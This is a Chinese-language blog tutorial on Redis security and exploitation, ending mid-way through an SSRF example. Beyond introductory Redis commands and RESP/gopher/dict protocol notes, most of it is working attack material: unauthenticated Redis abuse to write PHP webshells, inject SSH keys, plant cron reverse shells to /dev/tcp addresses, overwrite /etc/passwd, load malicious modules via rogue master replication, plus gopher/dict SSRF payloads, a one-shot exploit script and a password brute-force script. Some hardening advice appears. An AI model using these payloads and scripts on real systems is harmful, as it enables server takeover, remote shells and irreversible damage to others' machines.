Redis 安全

Redis 安全

Ko1sh1

1.Redis是什么

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis默认端口为6379

2.Redis的命令

连接命令

本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

键操作

设置键值对:set 键名 键值(例如:set atao xxx–>写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

取出键值对:get 键名(例如:get atao–>取出键名为atao的键的键值,返回键中的键值)

删除键值对:del 键名(例如:del atao–>删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

配置操作

Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

常用命令

常见命令如下:

  • 查看信息:info
  • 删除所有数据库内容:flushall
  • 刷新数据库:flushdb
  • 查看所有键:keys *,使用select num可以查看键值数据
  • 设置变量:set aaa “mi1k7ea”
  • 查看变量值:get aaa
  • 查看备份文件路径:config get dir
  • 设置备份文件路径:config set dir dirpath
  • 查看备份文件名:config get dbfilename
  • 设置备份文件名:config set dbfilename filename
  • 保存备份文件:save

3.环境搭建

Redis安装过程

  • 下载安装包:http://download.redis.io/releases/

  • 解压 tar -zxvf redis-x.x.x.tar.gz

  • 进入解压后的文件夹,执行 make 命令

  • 修改 redis.conf 文件

    img

    高版本下还需要将这个值设置为 yes ,否则会出现如下报错

    1
    (error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config

image-20240120155129694

  • 进入 src 目录,执行 ./redis-server ../redis.conf &,启动 Redis 并至于后台

修改 redis.conf 配置文件方便测试未授权访问

未授权访问

redis.conf 的配置文件中,有两个关键的配置会造成 Redis 未授权访问

  • bind x.x.x.x
    配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
    如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
  • protected-mode
    功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接。关闭保护模式,就会允许远程连接Redis服务

接着在Windows下就能无需密码认证直接远程连接Redis了:

1
redis-cli -h 192.168.13.128 -p 6379

捕捉Redis流量

这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH=”/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin”后可以正常使用)抓取流量的命令为

1
sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

4.常用协议

Redis通信协议RESP

Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信,后续构造 payload 时也需要转换成 RESP 协议的格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
RESP在Redis中用作请求-响应协议的方式如下:

- 客户端将命令作为RESP大容量字符串数组发送到Redis服务器
- 服务器根据命令实现以RESP类型之一进行回复
RESP中,某些数据的类型取决于第一个字节:

- 对于简单字符串,答复的第一个字节为"+"
格式:+字符串
注意:字符串不能包含CR或者LF(不允许换行)
eg:"+OK\r\n"

- 对于错误,回复的第一个字节为"-"
格式:-错误前缀 错误信息\r\n
注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待
eg:"-Errors unknow command 'foobar'\r\n"

- 对于整数,答复的第一个字节为":"
格式::数字\r\n
eg:":10\r\n"

- 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$"
格式:$字符串的长度\r\n字符串\r\n
注意:字符串不能包含CR或者LF(不允许换行)
eg:"$7\r\npayload\r\n"

- 对于数组,回复的第一个字节为"*"
格式:*数组元素个数\r\n其他类型(结尾不需要\r\n)
注意:只有元素个数后面的\r\n是属于该数组的,结尾的\r\n一般是元素的
eg:"*0\r\n"——空数组
"*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——数组包含2个元素,分别为A和tao
"*-1\r\n"——Null数组

通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容
执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应

RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在 RESP 中,某些数据的类型取决于第一个字节:
对于 Simple Strings ,回复的第一个字节是 +
对于 error ,回复的第一个字节是-
对于 Integer ,回复的第一个字节是:
对于 Bulk Strings ,回复的第一个字节是$
对于 array ,回复的第一个字节是*
此外,RESP 能够使用稍后指定的 Bulk Strings Array 的特殊变体来表示 Null 值。
在RESP中,协议的不同部分始终以 "\r\n"(CRLF) 结束。

可以用tcpdump来抓个包来测试一下

1
tcpdump port 6379 -w ./1.pcap

redis客户端中执行如下命令

1
2
3
4
5
192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓到的数据包如下

20190713085931-794d2d5e-a509-1

hex转储看一下

20190713090053-a9d401f0-a509-1

正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,”name”,”test”]);$4代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了

Gopher 协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

万金油协议!!!

语法格式:gopher://<host>:<port>/<gopher_path>_value(host为IP地址;port为指定端口,没写的话默认为70端口;”_”是一种数据连接格式,任意字符都行,因为gopher会吞噬第一个字符;value为TCP数据流)

如果发起为POST请求,回车换行使用%0D%0A(有些博客说的需要双重 URL 编码,即%250d%250a,反正后续脚本一次编码和二次编码都写了,都试试就知道了);如果多个参数,参数之间的&也需要进行URL编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
GET请求
源码
<?php
$a = $_GET['a'];
echo "Hello!".$a;
?>

下面是我们要请求的TCP数据流
GET /flag.php?a=atao HTTP/1.1
Host: 192.168.159.131

转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!atao
0


POST请求
源码
<?php
$a = $_POST['a'];
echo "Hello!".$a;
?>

用原来的方式进行请求
GET /flag.php HTTP/1.1
Host: 192.168.159.131

a=atao
这样会报错,POST请求需要多加两个参数Content-Type和Content-Length

修改后为
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

a=atao

转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f


curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f

返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html

a
Hello!atao
0

Dict协议

在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行(只能执行一行),当传输命令时,dict 协议的话要一条一条的执行,所以一般 dict 协议只是当个备胎用。

语法格式:dict:////<host>:<port>/<value>(host为IP地址;port为指定端口;value为请求内容)

注意要点:

  • <value> 处的冒号相当于空格。

  • 与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行。

  • 在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码

    1
    2
    3
    4
    5
    cmd = "\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n"
    cmd_encoder = ""
    for single_char in cmd:
    cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\\\x"))
    print(cmd_encoder)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
使用命令
curl -g "dict://127.0.0.1:6397/set:koishi:cirno"

返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK

抓包看到的
CLIENT libcurl 7.68.0
set koishi cirno
QUIT

来自郁神的解释
第一行是代表发出的cli的工具和版本
第二行是执行我们请求的命令
第三行是自行退出
从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作
这里返回第一行报错了,应该是没有带参数而报错的

Dict 使用例子

例子1,写马

1
2
3
4
5
6
7
8
9
10
11
写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入)
/link.php?u=dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"

设置保存路径:
/link.php?u=dict://0:6379/config:set:dir:/var/www/html/

设置保存名字:
/link.php?u=dict://0:6379/config:set:dbfilename:shell.php

保存:
/link.php?u=dict://0:6379/save

例子2,写定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
对应
dict://172.2.0.2:6379/set:1:\"十六进制编码\"

config set dir /etc/
对应:
dict://172.2.0.2:6379/config:set:dir:/etc/

config set dbfilename crontab
对应:
dict://172.2.0.2:6379/config:set:dbfilename:crontab

save
对应:
dict://172.2.0.2:6379/save

写入的payload中* * * * * 意义:

* * * * * 是一个 cron 表达式,用于表示定时任务的执行时间。Cron 是一种用于在 UNIX/Linux 系统中执行预定任务的时间表达式。这五个星号分别代表分钟、小时、日期、月份和星期。

*是通配符,表示”每”。在这里,* * * * * 表示每分钟的每秒都执行。

因此,* * * * * 表达式表示每分钟都执行一次定时任务。

绕过?截断

主要用于dict协议中,当dict协议要写入键值对,如:

1
2
3
4
5
6
7
8
9
10
dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的内容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及后面的内容都没了

这里通过对<?等特殊符号进行转义绕过
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e

绕过 本地 判断

当限制了gopher和127、localhost 等字符时,可以使用 0 代表当前IP或域名解析等方式即可绕过访问本地限制,使用dict协议写入redis。

一键式 ssrf + redis + dict 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import urllib.request
import urllib.parse
import binascii

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/" # redis 服务器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"', # shell接收地址与端口号
"config:set:dir:/etc/",
"config:set:dbfilename:crontab",
"bgsave"]

for cmd in cmds:
cmd_encoder = ""
for single_char in cmd:
# 先转为ASCII
cmd_encoder += hex(ord(single_char)).replace("0x", "")
cmd_encoder = binascii.a2b_hex(cmd_encoder)
cmd_encoder = urllib.parse.quote(cmd_encoder, 'utf-8')

payload = url + target + cmd_encoder
print(payload)
# request = urllib.request.Request(payload)
# response = urllib.request.urlopen(request).read()

5.漏洞攻击

未授权访问漏洞

由于配置不当的原因,导致Redis服务暴露在公网(即绑定在0.0.0.0:6379),并且没有开启相关认证和添加相关安全策略的情况下,即存在未授权访问漏洞。

攻击者在未授权访问Redis的情况下,可以获取数据库的所有数据、删除数据库数据等,进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用,将Redis未授权访问漏洞的危害无限放大。

安全配置密码验证

我们可以通过Redis的配置文件设置密码参数,这样客户端连接到Redis服务就需要密码验证,这样可以让你的Redis服务更安全,进而杜绝了未授权访问漏洞。

我们可以通过以下命令查看是否设置了密码验证:

1
2
3
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""

默认情况下requirepass参数是空的,这就意味着你无需通过密码验证就可以连接到Redis服务。

你可以通过以下命令来修改该参数:

1
2
3
4
5
127.0.0.1:6379> CONFIG set requirepass "koishi"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "koishi"

设置密码后,客户端连接Redis服务就需要密码验证,否则无法执行命令。

密码验证用到AUTH命令,如下:

1
2
3
4
5
6
127.0.0.1:6379> AUTH "password"
OK
127.0.0.1:6379> SET mykey "Test value"
OK
127.0.0.1:6379> GET mykey
"Test value"

敏感信息泄露与数据库内容删除

使用Redis的语句可以获取数据库中的存储的敏感信息,这里为了方便直接通过keys *来获取所有的键,然后通过get命令获取键值(如果在实际的业务中,一般不会查询所有键,因为对性能影响太大了,而是通过查询指定的某些数据库内容):

image-20240120154220788

使用info命令可以看到Redis的版本、OS内核版本、配置文件路径等信息:

image-20240120154454909

使用flushall等相关命令可以将Redis数据库所有内容删除掉,注意要慎用,这里就不演示了。

向Web目录写入WebShell

前提是Redis所在机子开启了Web服务,且已知Web服务目录路径。

原理就是在Redis中插入一条数据,将WebShell代码作为value,key值随意,然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件,最后通过save命令以备份的方式把缓存的数据保存在文件里,这样就可以在服务器端的Web目录下生成一个WebShell文件。

具体步骤就是先写入一个含WebShell代码的键值,然后设置备份目录为Web目录,接着设置备份文件名为WebShell文件名,最后通过save命令保存文件到本地。如下:

我这里服务目录在:/home/kali/Desktop/temp ,根据实际情况修改

1
2
3
4
set payload "<?php @eval($_POST[1]);?>"
config set dir /home/kali/Desktop/temp
config set dbfilename koishi.php
save

image-20240120155730136

发现能成功写入,由于PHP的容错性,该PHP代码是能正常执行的,能正常getshell:

image-20240120155804353

image-20240120160329810

写入SSH公钥直接登录

前提是Redis服务是以root权限运行的。

如果目标没有web服务,但是开启了ssh且允许免密登录的话,可以尝试这种方法。

原理和前面一样的,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。

先在服务器中生成公私钥:

image-20240120160955642

获取公钥内容cat /home/kali/.ssh/id_rsa.pub

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRONYAUcEiNMRqrK2szP6zN4bM9IrwV9A0fq6xe2L+3zOsIGoeaMr/hmmYeiRd8/zkG7qhTZyf+ccZK22g2Yfp0kMXHwuRif8fejGueuNvqRKiOYQRsNB78NUDnfM2So60173MF7TTTo76EZCFnjyxce8W3XohvtlTObK/rdIxpIGnQjpsVXCG8TiL5MwquLsiCsowVUe+Z0OtZiYNAQPFvaWHDZfIhTfeYUApdaSzPSFb3vhB6WOz53TVaaglzehlqJCrE1dI04XyLIn/ysiXgKErCU8AjH8N/iAetVKJN0dla4JgGW9oDslY8DoJnk17kunsUkCS57aWlG91+5Yt0MZD4N/1ETTq9zfJmjlhmAFOpBBksmNpPkKtJTEYsGqDPseQjlkA4m8zMpPPYCpNw4N4Ozs9ImGmWaWdOtPRAPQnTTgcyVLfWYj0+BqrgiO7CMYRZPu4iQafYJmNCNRe21modsRpx9ry0fE1zTuKWpR8TB17gxey41ktLvmRJW0= kali@kali

通过Redis客户端将公钥内容写入到/root/.ssh/authorized_keys文件中,注意保存key的时候加上两个\n是为了避免和Redis里其他缓存数据混合:

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRONYAUcEiNMRqrK2szP6zN4bM9IrwV9A0fq6xe2L+3zOsIGoeaMr/hmmYeiRd8/zkG7qhTZyf+ccZK22g2Yfp0kMXHwuRif8fejGueuNvqRKiOYQRsNB78NUDnfM2So60173MF7TTTo76EZCFnjyxce8W3XohvtlTObK/rdIxpIGnQjpsVXCG8TiL5MwquLsiCsowVUe+Z0OtZiYNAQPFvaWHDZfIhTfeYUApdaSzPSFb3vhB6WOz53TVaaglzehlqJCrE1dI04XyLIn/ysiXgKErCU8AjH8N/iAetVKJN0dla4JgGW9oDslY8DoJnk17kunsUkCS57aWlG91+5Yt0MZD4N/1ETTq9zfJmjlhmAFOpBBksmNpPkKtJTEYsGqDPseQjlkA4m8zMpPPYCpNw4N4Ozs9ImGmWaWdOtPRAPQnTTgcyVLfWYj0+BqrgiO7CMYRZPu4iQafYJmNCNRe21modsRpx9ry0fE1zTuKWpR8TB17gxey41ktLvmRJW0= kali@kali\n\n"
save

到自己之前生成的私钥下面去,可以使用命令利用这个私钥进行连接服务端 root,得到shell:

1
ssh -i id_rsa root@192.168.13.128

image-20240120161654223

写入定时任务反弹shell

该方法只能CentOS上使用,Ubuntu、Debian上行不通(所以没有装centos的我就没有复现了)。原因如下:

  • 权限问题,Ubuntu定时任务需要root权限;
  • Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;

原理和前面是一样的,只是备份的目录和文件名修改了下:

1
2
3
4
config set dir /var/spool/cron/crontabs/
config set dbfilename root
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.13.128/5555 0>&1\n\n"
save

注意,不同类型、版本的OS的crontabs所在路径会有所区别。

可以看到在Kali中成功生成root文件,其中含有定时任务的内容,也包括了乱码:

image-20240120162328658

此时并未在监听端接收到反弹shell。这是由于Kali是Debian系统,对定时任务的格式要求很严,而root文件内容含有乱码,会导致执行不成功。除此之外,还有root文件执行的权限问题,我们通过tail /var/log/syslog命令来查看如下错误信息,因为权限不够、所以cron拒绝执行该定时任务:

1
cron[441]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)

image-20240120162418179

具体CentOS的利用可自行测试。

不同OS的系统任务调度文件:

1
2
3
4
5
6
7
8
9
10
Ubuntu
/var/spool/cron/crontabs/xxx

Debian
/etc/cron.d/xxx

/var/spool/cron/crontabs/xxx

Alpine
/etc/cron.d/xxx

可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

还有师傅是这么解释的:

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

写入/etc/passwd文件实现任意账号密码重置

这个对系统影响比较大,我没有去复现

Linux存账户密码一般会有/etc/passwd和/etc/shadow,如果两个出现冲突的话,会以/etc/passwd为准。
另外,/etc/passwd的权限一般是644,比/etc/shadow的640要高。而且,redis写入是覆盖的,也就是说,写入进去覆盖之后,其他的都没了,这个过程是有创且不可逆的。
但是可以通过与/etc/passwd- 和/etc/shadow对比,起码可恢复99%的内容。当然,做这步骤前事先和负责人联系,得到许可后自然是最好的,都可以省的恢复了。

1
2
3
4
5
6
7
8
9
mkpasswd --method=md5 --salt='$6$my0salt0' 'YourNewPasswd%1024' 	//使用mkpasswd生成密码,或者用下面这个python
python3 -c 'import crypt; print(crypt.crypt("YourNewPasswd%1024", "$6$my0salt0"))'

config set dir /etc/
config set dbfilename passwd //将生成的MD5写入到/etc/passwd中
SET abcd "\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n"

//要想ssh登录root账号,除了写入root之外,还需要写入sshd账号sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n
save

然后登录

1
ssh root@192.168.13.128

输入明文密码 YourNewPasswd%1024 ,成功登录

其他的利用

任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用,除了前面几项利用方式外,还有以下收集的几个在Linux或Windows下的利用方式。

https://tatsumaki.cn/2020/08/20/redis/#toc-heading-9

写入Windows启动项:https://www.anquanke.com/post/id/170360#h3-3

写入Windows MOF:https://www.anquanke.com/post/id/170360#h3-4

利用主从复制RCE

Redis主从复制

如果把数据存储在单个Redis中,而读写体量比较大的时候,服务端的性能就会大受影响。为了应对这种情况,Redis就提供了主从模式。

Redis主从模式是指使用一个Redis作为主机,其他Redis则作为从机即备份机。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离可以大幅度减轻流量的压力,即是一种通过牺牲空间来换取效率的缓解方式。

攻击利用

主从复制实现RCE还是属于未授权访问的一种利用方式,这里因为其较新型便单独提出一小节。

4.x、5.x 版本的Redis提供了主从模式。在Redis 4.x 之后,通过外部扩展,可以在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。

Redis主从数据库之间的同步分为两种:

  • 全量复制是将数据库备份文件整个传输过去从机,然后从机清空内存数据库,将备份文件加载到数据库中;
  • 部分复制只是将写命令发送给从机;

因此,想要复制备份文件的话就需要设置Redis主机的传输方式为全量传输。

这里我们只需要模拟协议收发包就能伪装成Redis主机了

利用工具
1
2
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git

第一个工具是用于生成恶意的执行shell的so文件;第二个工具是伪造Redis主机的脚本。

首先要生成恶意so文件,下载第一个工具然后make即可生成。

然后在攻击者机器上执行如下命令即可成功RCE:

1
python redis-rce.py -r 192.168.13.128 -p 6379 -L 192.168.13.128 -f module.so

我本地是redis 7.2.4 的,加载模块会出错,我看某些说的需要在5.0.5及以下版本的才行,我没有做尝试。

image-20240120192456256

手打

因为大多数情况不会直接是未授权的漏洞,通常结合ssrf或者其他漏洞,因此工具具有很大的局限性,这里给出手打的payload,方便在各种情况下进行攻击。

payload

(不需要认证时可以把auth root删掉)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 试了很多目录,最后发现只有/tmp有权限写入。
gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dir%2520%252Ftmp%252F%250Aquit


gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 43.138.0.3 6666
quit
//设置备份文件名为:exp.so,设置主redis地址为43.138.0.3,端口为6666 地址为自己的VPS
gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dbfilename%2520exp.so%250Aslaveof%252043.138.0.3%25206666%250Aquit


gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
quit
//导入 exp.so
gopher://0.0.0.0:6379/_auth%2520root%250Amodule%2520load%2520%252Ftmp%252Fexp.so%250Aquit

还有的payload为:

关闭主从同步

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

导出数据库
(设置备份文件名字)

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

不出网 – 命令执行获取flag

使用 exp.so

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

使用 exp2.so

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aRedisRuntime.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
RedisRuntime.exec "cat /flag"
quit

出网 – 反弹shell

使用 exp2.so

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250ARedisRuntime.exec%252043.138.0.3%25202740%250Aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
RedisRuntime.exec 43.138.0.3 2740
quit
使用

公网使用 Awsome-Redis-Rogue-Server 来开启redis 主服务

1
2
3
python3 redis_rogue_server.py -v -path exp.so -lport 6666

python3 redis_rogue_server.py -v -path exp2.so -lport 6666

如果要反弹shell则也开启nc监听

然后在漏洞处注入payload即可

暴力破解Redis密码

用Hydra

使用Hydra工具可以对Redis密码进行暴力破解:

1
hydra -P ./passwords.txt redis://192.168.13.128

用python

面对内网 redis 认证的情况下,可以利用 dict 或者 gopher 等协议编写脚本尝试爆破 Redis 口令。可以再用多线程进行优化一下,由于有Hydra了,就不去改这个了,懂意思就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.request
import urllib.parse

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6379/auth:'

with open(r'./top100.txt', 'r') as f:
for i in range(100):
passwd = f.readline()
all_url = url + param + passwd
request = urllib.request.Request(all_url)
response = urllib.request.urlopen(request).read()
if "+OK\\r\\n+OK\\r\\n".encode() in response:
print("redis passwd:" + passwd)
break

6.漏洞组合

SSRF打本地Redis服务

前提是Web服务器监听本地的Redis存在未授权访问漏洞,并且Web站点支持Gopher协议。这里就能把范围缩小了,PHP是支持Gopher协议的,而Java不支持。

一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis

常见存在ssrf的例子

curl

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl\_setopt($ch, CURLOPT\_URL, $_GET\['url'\]); //设置URL 和相应的选项
# curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, 1);
curl\_setopt($ch, CURLOPT\_HEADER, 0);
# curl\_setopt($ch, CURLOPT\_PROTOCOLS, CURLPROTO\_HTTP | CURLPROTO\_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
